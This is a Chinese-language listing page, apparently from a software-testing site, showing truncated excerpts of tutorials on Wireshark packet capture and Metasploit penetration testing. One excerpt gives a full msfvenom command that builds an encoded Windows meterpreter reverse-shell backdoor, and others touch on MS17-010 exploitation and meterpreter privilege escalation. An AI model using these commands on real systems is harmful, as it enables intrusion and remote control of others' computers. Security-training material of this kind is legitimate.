Metasploit 将一些难以理解或者难以设计出来的技术转换成了非常容易使用的东西。不夸张的说，只需要点击几下即可让你看起来像《黑客帝国》中的 Neo 一样狂拽酷炫吊炸天。 这样 Hacking 变得非常简单。然而，如果你以前没有接触过 Metasploit，那么你...
我们都知道，在msf下进行渗透测试工作的时候，可以将结果数据保存到数据库中，方便各个小组成员在渗透测试过程中的数据同步。 例如，Metasploit提供了db_nmap命令，它能够将Nmap扫描结果直接存入数据库中，此外还提供了db_import命令，支持多达20中...
1. 抓包 捕获从网络适配器提取包,并将其保存到硬盘上. 访问底层网络适配器需要提升的权限，因此和底层网卡抓包的功能被封装在dumpcap中，这是Wireshark中唯一需要特权执行的程序，代码的其他部分（包括解析器，用户界面等等）只需要普通用户权限...
第一次捕获数据包 为了能让Wireshark得到一些数据包，你可以开始你的第一次数据包捕获实验了。你可能会想：“当网络什么问题都没有的时候，怎么能捕获数据包呢？” 首先，网络总是有问题的。 其次，做数据包分析并不一定要等到有问题的时候再...
USB，是英文Universal Serial Bus（通用串行总线）的缩写，而其中文简称为“通串线”，是一个外部总线标准，用于规范电脑与外部设备的连接和通讯。USB接口支持设备的即插即用和热插拔功能，是应用在PC领域的接口技术。 现在，越...
1、网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境，包括如图1所示的运行Kali Linux系统的计算机，如图2所示的老师给的Windows Server 2000系统的计算机。这两台计算机处于同一个网段中，可以相互通讯，Kali系统用作攻击机，下面将...
在写SDN控制器应用或者改写控制器源码的时候，经常需要抓包，验证网络功能，以及流表的执行结果等等，wireshark是个很好的抓包分析包的网络工具，下面简介如何用wireshark软件抓取OpenFlow数据包 一. wireshark2.0.0 wireshark2.0.0直接内置了Op...
Kali肯定是作为渗透测试环境的首选。我之前是有安装好Ruby IDE的，在这里推荐RubyMine。目前的版本是7.0.4，这个IDE真的很好用噢。 在继续之前，有必要更新一下Ruby，Kali自带的版本为ruby 1.9.3p194 (2012-04-20 revision 35410) [x86_64-linux]。...
metasploit本身功能非常强大，这里不多做介绍。 首先我们需要添加一个针对这个漏洞的exploit模块， 我们直接在样例上进行修改： root@bt:~/.msf4/modules# mkdir exploits root@bt:~/.msf4/modules# cd exploits root@bt:~/.msf4/modul...
Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit modules -x Select modules based ...
今天就来看一下Mac上如何进行抓包，不过可惜的是，Fidder使用C#开发的，所以就不能在Mac上使用了，不过还有另外一个抓包神器，就是Charles，它是Java开发的，所以跨平台，不仅可以在Mac上使用，Linux以及Window下都是可以使用的，当然...
[TCP Out-Of-Order] 在TCP数据传输过程中，同一台主机发出的数据段应该是连续的，即后一个数据包的Seq应该等于前一个数据包的Seq+Len（三次握手和四次挥手是例外）。如果某一个数据包的Seq小于前一个数据包的Seq+Len，说明数据包的传送过程出现了乱...
生成windows后门 1.首先生成后门 [root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.1 lport=6666 -f exe > ./lyshark.exe 2.进入Metasploit，执行以下操作msf > use expl...
一. 配置ngrok准备内网穿透 内网穿透的必要性和原理就不用说了，直接说操作。首先到ngrok官网去注册一个号，国内也有一个sunny ngrok，但是我用了几次全失败了，所以推荐国外的，网址是： https://ngrok.com/ 。 我注册的时候面临验证码刷不出来...
今天来到一个大的计算机教室然后看到清一色的Windows7的电脑，首先就想到了昨年大名鼎鼎的勒索病毒 这个勒索病毒是利用了SMB服务的漏洞，微软的漏洞编号是ms17-010.可以来试一试！ 先看看这台电脑打过哪些补丁，控制面板-程序-查看已安装的更新-...
如果是chrome浏览器的数据流 直接配置”SSLKEYLOGFILE“就可以解密了。 实现过程： 1.配置系统环境变量 变量名：SSLKEYLOGFILE 变量值：随意指定一个存储路径，以便chrome输出keylog 2.配置Wireshark 填入你在系统变量中指定的keylo...
作为一个安全测试人员来说，首先要拿到网站所有url，然后根据拿到的url进行渗透测试进行漏洞挖掘。本文给大家介绍的是如何拿到一个网站所有的url。 深度爬取层级控制 整体架构图 相信大家对深度控制和架构已经有基本了解，剩下的代码大家直接...
背景信息： 某网站访问偶发性连接失败，时间点不一样，且不易复现，遂弄个脚本测试，如下1.#!/bin/bash2.tcpdump-ianyhostwww.aliyun.comandport80-s0-G60-Zroot-w%Y%m%d-%H%M%S.pcap&3.whiletrue;4.do5.code=$(curl--connect-timeout5-sL-w"%{...
0x00 前言 这里简要探究下meterpreter 的使用。meterpreter有个很有效的功能就是，除了持久化控制,其他的操作都在内存里面，不会写进物理磁盘。重启下各种痕迹就消失了。 0x01 权限提升getsystemmeterpreter > getuidServer username: TEST\A...
先介绍清楚环境，我用的是我的旧电脑，windows电脑，wireshark软件（这个是免费的，100分），抓的数据是Android和ios端的某些app的视频数据 这里插播一个我的心路历程吧，之前同事介绍用charles和wireshark，我都玩了一会，这两个软件都有windows版...
建议使用IE 6.0以上浏览器，800×600以上分辨率，法律顾问：上海瀛东律师事务所 张楠律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2018, 沪ICP备05003035号
投诉及意见反馈：webmaster@51testing.com; 业务联系：service@51testing.com 021-64471599-8017
51Testing官方微信
51Testing官方微博
